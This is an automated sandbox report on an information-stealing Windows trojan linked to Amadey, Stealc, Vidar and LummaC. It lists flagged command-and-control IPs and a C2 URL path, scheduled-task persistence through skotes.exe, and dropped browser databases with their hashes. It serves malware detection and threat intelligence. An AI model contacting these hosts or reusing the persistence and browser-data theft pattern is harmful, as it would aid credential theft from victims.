https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/ons	skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://powerpoint.new?from=EdgeM365Shoreline	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.198.7.164	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
184.25.237.129	unknown	United States	16625	AKAMAI-ASUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
23.198.7.169	unknown	United States	20940	AKAMAI-ASN1EU	false
23.221.22.208	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.245.124.16	unknown	United States	16509	AMAZON-02US	false
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.146	unknown	United States	16625	AKAMAI-ASUS	false
40.118.171.167	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.174	play.google.com	United States	15169	GOOGLEUS	false
216.58.206.78	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.42.73.31	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.170	unknown	United States	24835	RAYA-ASEG	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556990
Start date and time:	2024-11-16 23:35:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/305@30/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 216.58.206.46, 64.233.166.84, 34.104.35.123, 216.58.206.67, 142.250.186.106, 172.217.18.106, 142.250.186.42, 142.250.185.234, 172.217.18.10, 142.250.185.202, 142.250.186.138, 142.250.184.234, 142.250.185.74, 142.250.74.202, 172.217.16.202, 216.58.206.42, 142.250.181.234, 142.250.184.202, 142.250.186.170, 172.217.16.138, 216.58.212.170, 216.58.206.74, 199.232.210.172, 192.229.221.95, 13.107.42.16, 13.107.21.239, 204.79.197.239, 204.79.197.203, 216.58.212.142, 13.107.6.158, 2.19.126.145, 2.19.126.152, 4.209.164.61, 88.221.110.179, 88.221.110.195, 2.23.209.133, 2.23.209.189, 2.23.209.179, 2.23.209.130, 2.23.209.149, 2.23.209.140, 2.23.209.182, 2.23.209.185, 2.23.209.20, 2.23.209.59, 2.23.209.52, 2.23.209.45, 2.23.209.51, 2.23.209.3, 2.23.209.26, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.187, 2.19.126.157, 2.19.126.151, 108.141.15.7, 199.232.214.172, 142.250.115.94, 142.251.116.94, 142.250.113.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, prod-agic-we-6.westeurope.cloudapp.azure.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, m
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:36:37	API Interceptor	54x Sleep call for process: file.exe modified
17:38:02	API Interceptor	78x Sleep call for process: skotes.exe modified
23:36:52	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.198.7.164	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://fvytvgh.blob.core.windows.net/vhgvhcg/6398.html	Get hash	malicious	Phisher	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.65.39.70
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.53
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.222.169.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.110.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.31.12
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.189.173.25
AKAMAI-ASUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.47.50.143
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.38.189.114
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	new.bat	Get hash	malicious	Unknown	Browse	184.28.90.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.47.50.150
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.47.50.150
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.38.189.81
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.247.168
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.175
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.218
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.177
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.171
	botx.spc.elf	Get hash	malicious	Mirai	Browse	104.80.164.59
	botx.arm.elf	Get hash	malicious	Mirai	Browse	172.237.90.154

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	ProtectedDoc.docx	Get hash	malicious	KnowBe4	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	https://bit.ly/3UPULW4?LmB=chMAG137nz	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	vbaProject.bin.xls	Get hash	malicious	Unknown	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45
	11sds_Invoice_9334749.html	Get hash	malicious	WinSearchAbuse	Browse	4.245.163.56 40.126.32.76 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDGDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDHJJJECFIECBGDGCAAAEHIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDBAFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653359252947003
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMwSAELyKOMq+8yC8F/YfU5m+OlTLVum1r:Bq+n0Jw9ELyKOMq+8y9/Ower
MD5:	18D992E1F6150A3FAA09F96968529AD6
SHA1:	54742C4D414E8A14659B31BD1E6A96C5DE051E45
SHA-256:	D2861B3F05C8BA7827990CC0906C7899706BD9338D4B5F1A31853B2CB2A696A5
SHA-512:	CEE0C2F8E4D4CAE5CF2773D359315BC498DF595890F1E99FA83EDB7C9536FB179CC9B11B7F80E0E155C3B1ED521C15F062DD543C5F3792A83FF945466FB0D1EF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGIDHJJEGHIIDAFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJEBFHDBGIECBFCBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJDGDGDHDGDBFIDHDBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJEBAAECBGDHIECAKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
